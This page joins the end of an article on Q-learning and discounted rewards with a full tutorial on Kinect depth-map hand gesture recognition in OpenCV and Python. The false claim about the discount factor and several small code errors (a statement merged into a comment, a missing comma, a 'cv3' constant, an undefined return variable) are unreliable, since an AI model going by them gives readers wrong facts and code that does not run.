st and action at. Maximizing future rewards As an agent, our objective is to maximize the total reward from each game. The total reward can be represented as follows: In order to maximize the total reward, the agent should try to maximize the total reward from any time point t in the game. The total reward at time step t is given by Rt and is represented as: However, it is harder to predict the value of the rewards the further we go into the future. In order to take this into consideration, our agent should try to maximize the total discounted future reward at time t instead. This is done by discounting the reward at each future time step by a factor γ over the previous time step. If γ is 0, then our network does not consider future rewards at all, and if γ is 1, then our network is completely deterministic. A good value for γ is around 0.9. Factoring the equation allows us to express the total discounted future reward at a given time step recursively as the sum of the current reward and the total discounted future reward at the next time step: Q-learning Deep reinforcement learning utilizes a model-free reinforcement learning technique called Q-learning. Q-learning can be used to find an optimal action for any given state in a finite Markov decision process. Q-learning tries to maximize the value of the Q-function which represents the maximum discounted future reward when we perform action a in state s: Once we know the Q-function, the optimal action a at a state s is the one with the highest Q-value. We can then define a policy π(s) that gives us the optimal action at any state: We can define the Q-function for a transition point (st, at, rt, st+1) in terms of the Q-function at the next point (st+1, at+1, rt+1, st+2) similar to how we did with the total discounted future reward. This equation is known as the Bellmann equation. The Q-function can be approximated using the Bellman equation. You can think of the Q-function as a lookup table (called a Q-table) where the states (denoted by s) are rows and actions (denoted by a) are columns, and the elements (denoted by Q(s, a)) are the rewards that you get if you are in the state given by the row and take the action given by the column. The best action to take at any state is the one with the highest reward. We start by randomly initializing the Q-table, then carry out random actions and observe the rewards to update the Q-table iteratively according to the following algorithm: initialize Q-table Q observe initial state s repeat select and carry out action a observe reward r and move to new state s' Q(s, a) = Q(s, a) + α(r + γ maxa' Q(s', a') - Q(s, a)) s = s' until game over You will realize that the algorithm is basically doing stochastic gradient descent on the Bellman equation, backpropagating the reward through the state space (or episode) and averaging over many trials (or epochs). Here α is the learning rate that determines how much of the difference between the previous Q-value and the discounted new maximum Q-value should be incorporated. Summary We have seen the application of deep neural networks, reinforcement learning. We have also seen convolutional neural networks and how they are well suited for classifying images. Resources for Article: Further resources on this subject: Deep learning and regression analysis [article] Training neural networks efficiently using Keras [article] Implementing Artificial Neural Networks with TensorFlow [article]

In this article by Michael Beyeler author of the book OpenCV with Python Blueprints is to develop an app that detects and tracks simple hand gestures in real time using the output of a depth sensor, such as that of a Microsoft Kinect 3D sensor or an Asus Xtion. The app will analyze each captured frame to perform the following tasks: Hand region segmentation: The user's hand region will be extracted in each frame by analyzing the depth map output of the Kinect sensor, which is done by thresholding, applying some morphological operations, and finding connected components Hand shape analysis: The shape of the segmented hand region will be analyzed by determining contours, convex hull, and convexity defects Hand gesture recognition: The number of extended fingers will be determined based on the hand contour's convexity defects, and the gesture will be classified accordingly (with no extended finger corresponding to a fist, and five extended fingers corresponding to an open hand) Gesture recognition is an ever popular topic in computer science. This is because it not only enables humans to communicate with machines (human-machine interaction or HMI), but also constitutes the first step for machines to begin understanding the human body language. With affordable sensors, such as Microsoft Kinect or Asus Xtion, and open source software such as OpenKinect and OpenNI, it has never been easy to get started in the field yourself. So what shall we do with all this technology? The beauty of the algorithm that we are going to implement in this article is that it works well for a number of hand gestures, yet is simple enough to run in real time on a generic laptop. And if we want, we can easily extend it to incorporate more complicated hand pose estimations. The end product looks like this: No matter how many fingers of my left hand I extend, the algorithm correctly segments the hand region (white), draws the corresponding convex hull (the green line surrounding the hand), finds all convexity defects that belong to the spaces between fingers (large green points) while ignoring others (small red points), and infers the correct number of extended fingers (the number in the bottom-right corner), even for a fist. This article assumes that you have a Microsoft Kinect 3D sensor installed. Alternatively, you may install Asus Xtion or any other depth sensor for which OpenCV has built-in support. First, install OpenKinect and libfreenect from http://www.openkinect.org/wiki/Getting_Started. Then, you need to build (or rebuild) OpenCV with OpenNI support. The GUI used in this article will again be designed with wxPython, which can be obtained from http://www.wxpython.org/download.php. Planning the app The final app will consist of the following modules and scripts: gestures: A module that consists of an algorithm for recognizing hand gestures. We separate this algorithm from the rest of the application so that it can be used as a standalone module without the need for a GUI. gestures.HandGestureRecognition: A class that implements the entire process flow of hand gesture recognition. It accepts a single-channel depth image (acquired from the Kinect depth sensor) and returns an annotated RGB color image with an estimated number of extended fingers. gui: A module that provides a wxPython GUI application to access the capture device and display the video feed. In order to have it access the Kinect depth sensor instead of a generic camera, we will have to extend some of the base class functionality. gui.BaseLayout: A generic layout from which more complicated layouts can be built. Setting up the app Before we can get to the nitty-grittyof our gesture recognition algorithm, we need to make sure that we can access the Kinect sensor and display a stream of depth frames in a simple GUI. Accessing the Kinect 3D sensor Accessing Microsoft Kinect from within OpenCV is not much different from accessing a computer's webcam or camera device. The easiest way to integrate a Kinect sensor with OpenCV is by using an OpenKinect module called freenect. For installation instructions, see the preceding information box. The following code snippet grants access to the sensor using cv2.VideoCapture: import cv2 import freenect device = cv2.cv.CV_CAP_OPENNI capture = cv2.VideoCapture(device) On some platforms, the first call to cv2.VideoCapture fails to open a capture channel. In this case, we provide a workaround by opening the channel ourselves: if not(capture.isOpened(device)): capture.open(device) If you want to connect to your Asus Xtion, the device variable should be assigned the cv2.cv.CV_CAP_OPENNI_ASUS value instead. In order to give our app a fair chance to run in real time, we will limit the frame size to 640 x 480 pixels: capture.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, 640) capture.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, 480) If you are using OpenCV 3, the constants you are looking for might be called cv3.CAP_PROP_FRAME_WIDTH and cv3.CAP_PROP_FRAME_HEIGHT. The read() method of cv2.VideoCapture is inappropriate when we need to synchronize a set of cameras or a multihead camera, such as a Kinect. In this case, we should use the grab() and retrieve() methods instead. An even easier way when working with OpenKinect is to use the sync_get_depth() and sync_get_video()methods. For the purpose of this article, we will need only the Kinect's depth map, which is a single-channel (grayscale) image in which each pixel value is the estimated distance from the camera to a particular surface in the visual scene. The latest frame can be grabbed via this code: depth, timestamp = freenect.sync_get_depth() The preceding code returns both the depth map and a timestamp. We will ignore the latter for now. By default, the map is in 11-bit format, which is inadequate to be visualized with cv2.imshow right away. Thus, it is a good idea to convert the image to 8-bit precision first. In order to reduce the range of depth values in the frame, we will clip the maximal distance to a value of 1,023 (or 2**10-1). This will get rid of values that correspond either to noise or distances that are far too large to be of interest to us: np.clip(depth, 0, 2**10-1, depth) depth >>= 2 Then, we convert the image into 8-bit format and display it: depth = depth.astype(np.uint8) cv2.imshow("depth", depth) Running the app In order to run our app, we will need to execute a main function routine that accesses the Kinect, generates the GUI, and executes the main loop of the app: import numpy as np import wx import cv2 import freenect from gui import BaseLayout from gestures import HandGestureRecognition def main(): device = cv2.cv.CV_CAP_OPENNI capture = cv2.VideoCapture() if not(capture.isOpened()): capture.open(device) capture.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, 640) capture.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, 480) We will design a suitable layout (KinectLayout) for the current project: # start graphical user interface app = wx.App() layout = KinectLayout(None, -1, 'Kinect Hand Gesture Recognition', capture) layout.Show(True) app.MainLoop() The Kinect GUI The layout chosen for the current project (KinectLayout) is as plain as it gets. It should simply display the live stream of the Kinect depth sensor at a comfortable frame rate of 10 frames per second. Therefore, there is no need to further customize BaseLayout: class KinectLayout(BaseLayout): def _create_custom_layout(self): pass The only parameter that needs to be initialized this time is the recognition class. This will be useful in just a moment: def _init_custom_layout(self): self.hand_gestures = HandGestureRecognition() Instead of reading a regular camera frame, we need to acquire a depth frame via the freenect method sync_get_depth(). This can be achieved by overriding the following method: def _acquire_frame(self): As mentioned earlier, by default, this function returns a single-channel depth image with 11-bit precision and a timestamp. However, we are not interested in the timestamp, and we simply pass on the frame if the acquisition was successful: frame, _ = freenect.sync_get_depth() # return success if frame size is valid if frame is not None: return (True, frame) else: return (False, frame) The rest of the visualization pipeline is handled by the BaseLayout class. We only need to make sure that we provide a _process_frame method. This method accepts a depth image with 11-bit precision, processes it, and returns an annotated 8-bit RGB color image. Conversion to a regular grayscale image is the same as mentioned in the previous subsection: def _process_frame(self, frame): # clip max depth to 1023, convert to 8-bit grayscale np.clip(frame, 0, 2**10 – 1, frame) frame >>= 2 frame = frame.astype(np.uint8) The resulting grayscale image can then be passed to the hand gesture recognizer, which will return the estimated number of extended fingers (num_fingers) and the annotated RGB color image mentioned earlier (img_draw): num_fingers, img_draw = self.hand_gestures.recognize(frame) In order to simplify the segmentation task of the HandGestureRecognition class, we will instruct the user to place their hand in the center of the screen. To provide a visual aid for this, let's draw a rectangle around the image center and highlight the center pixel of the image in orange: height, width = frame.shape[:2] cv2.circle(img_draw, (width/2, height/2), 3, [255, 102, 0], 2) cv2.rectangle(img_draw, (width/3, height/3), (width*2/3, height*2/3), [255, 102, 0], 2) In addition, we print num_fingers on the screen: cv2.putText(img_draw, str(num_fingers), (30, 30),cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255)) return img_draw Tracking hand gestures in real time The bulk of the work is done by the HandGestureRecognition class, especially by its recognize method. This class starts off with a few parameter initializations, which will be explained and used later: class HandGestureRecognition: def __init__(self): # maximum depth deviation for a pixel to be considered # within range self.abs_depth_dev = 14 # cut-off angle (deg): everything below this is a convexity # point that belongs to two extended fingers self.thresh_deg = 80.0 The recognize method is where the real magic takes place. This method handles the entire process flow, from the raw grayscale image all the way to a recognized hand gesture. It implements the following procedure: It extracts the user's hand region by analyzing the depth map (img_gray) and returning a hand region mask (segment): def recognize(self, img_gray): segment = self._segment_arm(img_gray) It performs contour analysis on the hand region mask (segment). Then, it returns the largest contour area found in the image (contours) and any convexity defects (defects): [contours, defects] = self._find_hull_defects(segment) Based on the contours found and the convexity defects, it detects the number of extended fingers (num_fingers) in the image. Then, it annotates the output image (img_draw) with contours, defect points, and the number of extended fingers: img_draw = cv2.cvtColor(img_gray, cv2.COLOR_GRAY2RGB) [num_fingers, img_draw] = self._detect_num_fingers(contours, defects, img_draw) It returns the estimated number of extended fingers (num_fingers) as well as the annotated output image (img_draw): return (num_fingers, img_draw) Hand region segmentation The automatic detection of an arm, and later the hand region, could be designed to be arbitrarily complicated, maybe by combining information about the shape and color of an arm or hand. However, using a skin color as a determining feature to find hands in visual scenes might fail terribly in poor lighting conditions or when the user is wearing gloves. Instead, we choose to recognize the user's hand by its shape in the depth map. Allowing hands of all sorts to be present in any region of the image unnecessarily complicates the mission of this article, so we make two simplifying assumptions: We will instruct the user of our app to place their hand in front of the center of the screen, orienting their palm roughly parallel to the orientation of the Kinect sensor so that it is easier to identify the corresponding depth layer of the hand. We will also instruct the user to sit roughly 1 to 2 meters away from the Kinect, and to slightly extend their arm in front of their body so that the hand will end up in a slightly different depth layer than the arm. However, the algorithm will still work even if the full arm is visible. In this way, it will be relatively straightforward to segment the image based on the depth layer alone. Otherwise, we would have to come up with a hand detection algorithm first, which would unnecessarily complicate our mission. If you feel adventurous, feel free to do this on your own. Finding the most prominent depth of the image center region Once the hand is placed roughly in the center of the screen, we can start finding all image pixels that lie on the same depth plane as the hand. For this, we simply need to determine the most prominent depth value of the center region of the image. The simplest approach would be as follows: look only at the depth value of the center pixel: width, height = depth.shape center_pixel_depth = depth[width/2, height/2] Then, create a mask in which all pixels at a depth of center_pixel_depth are white and all others are black: import numpy as np depth_mask = np.where(depth == center_pixel_depth, 255, 0).astype(np.uint8) However, this approach will not be very robust, because chances are that: Your hand is not placed perfectly parallel to the Kinect sensor Your hand is not perfectly flat The Kinect sensor values are noisy Therefore, different regions of your hand will have slightly different depth values. The _segment_arm method takes a slightly better approach, that is, looking at a small neighborhood in the center of the image and determining the median (meaning the most prominent) depth value. First, we find the center (for example, 21 x 21 pixels) region of the image frame: def _segment_arm(self, frame): """ segments the arm region based on depth """ center_half = 10 # half-width of 21 is 21/2-1 lowerHeight = self.height/2 – center_half upperHeight = self.height/2 + center_half lowerWidth = self.width/2 – center_half upperWidth = self.width/2 + center_half center = frame[lowerHeight:upperHeight,lowerWidth:upperWidth] We can then reshape the depth values of this center region into a one-dimensional vector and determine the median depth value, med_val: med_val = np.median(center) We can now compare med_val with the depth value of all pixels in the image and create a mask in which all pixels whose depth values are within a particular range [med_val-self.abs_depth_dev, med_val+self.abs_depth_dev] are white and all other pixels are black. However, for reasons that will be clear in a moment, let's paint the pixels gray instead of white: frame = np.where(abs(frame – med_val) <= self.abs_depth_dev, 128, 0).astype(np.uint8) The result will look like this: Applying morphological closing to smoothen the segmentation mask A common problem with segmentation is that a hard threshold typically results in small imperfections (that is, holes, as in the preceding image) in the segmented region. These holes can be alleviated using morphological opening and closing. Opening removes small objects from the foreground (assuming that the objects are bright on a dark foreground), whereas closing removes small holes (dark regions). This means that we can get rid of the small black regions in our mask by applying morphological closing (dilation followed by erosion) with a small 3 x 3 pixel kernel: kernel = np.ones((3, 3), np.uint8) frame = cv2.morphologyEx(frame, cv2.MORPH_CLOSE, kernel) The result looks a lot smoother, as follows: Notice, however, that the mask still contains regions that do not belong to the hand or arm, such as what appears to be one of my knees on the left and some furniture on the right. These objects just happen to be on the same depth layer as my arm and hand. If possible, we could now combine the depth information with another descriptor, maybe a texture-based or skeleton-based hand classifier, that would weed out all non-skin regions. Finding connected components in a segmentation mask An easier approach is to realize that most of the times, hands are not connected to knees or furniture. We already know that the center region belongs to the hand, so we can simply apply cv2.floodfill to find all the connected image regions. Before we do this, we want to be absolutely certain that the seed point for the flood fill belongs to the right mask region. This can be achieved by assigning a grayscale value of 128 to the seed point. But we also want to make sure that the center pixel does not, by any coincidence, lie within a cavity that the morphological operation failed to close. So, let's set a small 7 x 7 pixel region with a grayscale value of 128 instead: small_kernel = 3 frame[self.height/2-small_kernel : self.height/2+small_kernel, self.width/2-small_kernel : self.width/2+small_kernel] = 128 Because flood filling (as well as morphological operations) is potentially dangerous, the Python version of later OpenCV versions requires specifying a mask that avoids flooding the entire image. This mask has to be 2 pixels wider and taller than the original image and has to be used in combination with the cv2.FLOODFILL_MASK_ONLY flag. It can be very helpful in constraining the flood filling to a small region of the image or a specific contour so that we need not connect two neighboring regions that should have never been connected in the first place. It's better to be safe than sorry, right? Ah, screw it! Today, we feel courageous! Let's make the mask entirely black: mask = np.zeros((self.height+2, self.width+2), np.uint8) Then we can apply the flood fill to the center pixel (seed point) and paint all the connected regions white: flood = frame.copy() cv2.floodFill(flood, mask, (self.width/2, self.height/2), 255, flags=4 | (255 << 8)) At this point, it should be clear why we decided to start with a gray mask earlier. We now have a mask that contains white regions (arm and hand), gray regions (neither arm nor hand but other things in the same depth plane), and black regions (all others). With this setup, it is easy to apply a simple binary threshold to highlight only the relevant regions of the pre-segmented depth plane: ret, flooded = cv2.threshold(flood, 129, 255, cv2.THRESH_BINARY) This is what the resulting mask looks like: The resulting segmentation mask can now be returned to the recognize method, where it will be used as an input to _find_hull_defects as well as a canvas for drawing the final output image (img_draw). Hand shape analysis Now that we (roughly) know where the hand is located, we aim to learn something about its shape. Determining the contour of the segmented hand region The first step involves determining the contour of the segmented hand region. Luckily, OpenCV comes with a pre-canned version of such an algorithm—cv2.findContours. This function acts on a binary image and returns a set of points that are believed to be part of the contour. Because there might be multiple contours present in the image, it is possible to retrieve an entire hierarchy of contours: def _find_hull_defects(self, segment): contours, hierarchy = cv2.findContours(segment, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) Furthermore, because we do not know which contour we are looking for, we have to make an assumption to clean up the contour result. Since it is possible that some small cavities are left over even after the morphological closing—but we are fairly certain that our mask contains only the segmented area of interest—we will assume that the largest contour found is the one that we are looking for. Thus, we simply traverse the list of contours, calculate the contour area (cv2.contourArea), and store only the largest one (max_contour): max_contour = max(contours, key=cv2.contourArea) Finding the convex hull of a contour area Once we have identified the largest contour in our mask, it is straightforward to compute the convex hull of the contour area. The convex hull is basically the envelope of the contour area. If you think of all the pixels that belong to the contour area as a set of nails sticking out of a board, then the convex hull is the shape formed by a tight rubber band that surrounds all the nails. We can get the convex hull directly from our largest contour (max_contour): hull = cv2.convexHull(max_contour, returnPoints=False) Because we now want to look at convexity deficits in this hull, we are instructed by the OpenCV documentation to set the returnPoints optional flag to False. The convex hull drawn in green around a segmented hand region looks like this: Finding convexity defects of a convex hull As is evident from the preceding screenshot, not all points on the convex hull belong to the segmented hand region. In fact, all the fingers and the wrist cause severe convexity defects, that is, points of the contour that are far away from the hull. We can find these defects by looking at both the largest contour (max_contour) and the corresponding convex hull (hull): defects = cv2.convexityDefects(max_contour, hull) The output of this function (defects) is a 4-tuple that contains start_index (the point of the contour where the defect begins), end_index (the point of the contour where the defect ends), farthest_pt_index (the farthest from the convex hull point within the defect), and fixpt_depth (distance between the farthest point and the convex hull). We will make use of this information in just a moment when we reason about fingers. But for now, our job is done. The extracted contour (max_contour) and convexity defects (defects) can be passed to recognize, where they will be used as inputs to _detect_num_fingers: return (cnt,defects) Hand gesture recognition What remains to be done is classifying the hand gesture based on the number of extended fingers. For example, if we find five extended fingers, we assume the hand to be open, whereas no extended fingers imply a fist. All that we are trying to do is count from zero to five and make the app recognize the corresponding number of fingers. This is actually trickier than it might seem at first. For example, people in Europe might count to three by extending their thumb, index finger, and middle finger. If you do that in the US, people there might get horrendously confused, because people do not tend to use their thumbs when signaling the number two. This might lead to frustration, especially in restaurants (trust me). If we could find a way to generalize these two scenarios—maybe by appropriately counting the number of extended fingers—we would have an algorithm that could teach simple hand gesture recognition to not only a machine but also (maybe) to an average waitress. As you might have guessed, the answer has to do with convexity defects. As mentioned earlier, extended fingers cause defects in the convex hull. However, the inverse is not true; that is, not all convexity defects are caused by fingers! There might be additional defects caused by the wrist as well as the overall orientation of the hand or the arm. How can we distinguish between these different causes for defects? Distinguishing between different causes for convexity defects The trick is to look at the angle between the farthest point from the convex hull point within the defect (farthest_pt_index) and the start and end points of the defect (start_index and end_index, respectively), as illustrated in the following screenshot: In this screenshot, the orange markers serve as a visual aid to center the hand in the middle of the screen, and the convex hull is outlined in green. Each red dot corresponds to a farthest from the convex hull point (farthest_pt_index) for every convexity defect detected. If we compare a typical angle that belongs to two extended fingers (such as θj) to an angle that is caused by general hand geometry (such as θi), we notice that the former is much smaller than the latter. This is obviously because humans can spread their finger only a little, thus creating a narrow angle made by the farthest defect point and the neighboring fingertips. Therefore, we can iterate over all convexity defects and compute the angle between the said points. For this, we will need a utility function that calculates the angle (in radians) between two arbitrary, list-like vectors, v1 and v2: def angle_rad(v1, v2): return np.arctan2(np.linalg.norm(np.cross(v1, v2)), np.dot(v1, v2)) This method uses the cross product to compute the angle, rather than the standard way. The standard way of calculating the angle between two vectors v1 and v2 is by calculating their dot product and dividing it by the norm of v1 and the norm of v2. However, this method has two imperfections: You have to manually avoid division by zero if either the norm of v1 or the norm of v2 is zero The method returns relatively inaccurate results for small angles Similarly, we provide a simple function to convert an angle from degrees to radians: def deg2rad(angle_deg): return angle_deg/180.0*np.pi Classifying hand gestures based on the number of extended fingers What remains to be done is actually classifying the hand gesture based on the number of extended fingers. The _detect_num_fingers method will take as input the detected contour (contours), the convexity defects (defects), and a canvas to draw on (img_draw): def _detect_num_fingers(self, contours, defects, img_draw): Based on these parameters, it will then determine the number of extended fingers. However, we first need to define a cut-off angle that can be used as a threshold to classify convexity defects as being caused by extended fingers or not. Except for the angle between the thumb and the index finger, it is rather hard to get anything close to 90 degrees, so anything close to that number should work. We do not want the cut-off angle to be too high, because that might lead to misclassifications: self.thresh_deg = 80.0 For simplicity, let's focus on the special cases first. If we do not find any convexity defects, it means that we possibly made a mistake during the convex hull calculation, or there are simply no extended fingers in the frame, so we return 0 as the number of detected fingers: if defects is None: return [0, img_draw] But we can take this idea even further. Due to the fact that arms are usually slimmer than hands or fists, we can assume that the hand geometry will always generate at least two convexity defects (which usually belong to the wrists). So if there are no additional defects, it implies that there are no extended fingers: if len(defects) <= 2: return [0, img_draw] Now that we have ruled out all special cases, we can begin counting real fingers. If there are a sufficient number of defects, we will find a defect between every pair of fingers. Thus, in order to get the number right (num_fingers), we should start counting at 1: num_fingers = 1 Then we can start iterating over all convexity defects. For each defect, we will extract the four elements and draw its hull for visualization purposes: for i in range(defects.shape[0]): # each defect point is a 4-tuplestart_idx, end_idx, farthest_idx, _ == defects[i, 0] start = tuple(contours[start_idx][0]) end = tuple(contours[end_idx][0]) far = tuple(contours[farthest_idx][0]) # draw the hull cv2.line(img_draw, start, end [0, 255, 0], 2) Then we will compute the angle between the two edges from far to start and from far to end. If the angle is smaller than self.thresh_deg degrees, it means that we are dealing with a defect that is most likely caused by two extended fingers. In this case, we want to increment the number of detected fingers (num_fingers), and we draw the point with green. Otherwise, we draw the point with red: # if angle is below a threshold, defect point belongs # to two extended fingers if angle_rad(np.subtract(start, far), np.subtract(end, far)) < deg2rad(self.thresh_deg): # increment number of fingers num_fingers = num_fingers + 1 # draw point as green cv2.circle(img_draw, far, 5, [0, 255, 0], -1) else: # draw point as red cv2.circle(img_draw, far, 5, [255, 0, 0], -1) After iterating over all convexity defects, we pass the number of detected fingers and the assembled output image to the recognize method: return (min(5, num_fingers), img_draw) This will make sure that we do not exceed the common number of fingers per hand. The result can be seen in the following screenshots: Interestingly, our app is able to detect the correct number of extended fingers in a variety of hand configurations. Defect points between extended fingers are easily classified as such by the algorithm, and others are successfully ignored. Summary This article showed a relatively simple and yet surprisingly robust way of recognizing a variety of hand gestures by counting the number of extended fingers. The algorithm first shows how a task-relevant region of the image can be segmented using depth information acquired from a Microsoft Kinect 3D Sensor, and how morphological operations can be used to clean up the segmentation result. By analyzing the shape of the segmented hand region, the algorithm comes up with a way to classify hand gestures based on the types of convexity effects found in the image. Once again, mastering our use of OpenCV to perform a desired task did not require us to produce a large amount of code. Instead, we were challenged to gain an important insight that made us use the built-in functionality of OpenCV in the most effective way possible. Gesture recognition is a popular but challenging field in computer science, with applications in a large number of areas, such as human-computer interaction, video surveillance, and even the video game industry. You can now use your advanced understanding of segmentation and structure analysis to build your own state-of-the-art gesture recognition system. Resources for Article: Tracking Faces with Haar Cascades Our First Machine Learning Method - Linear Classification Solving problems with Python: Closest good restaurant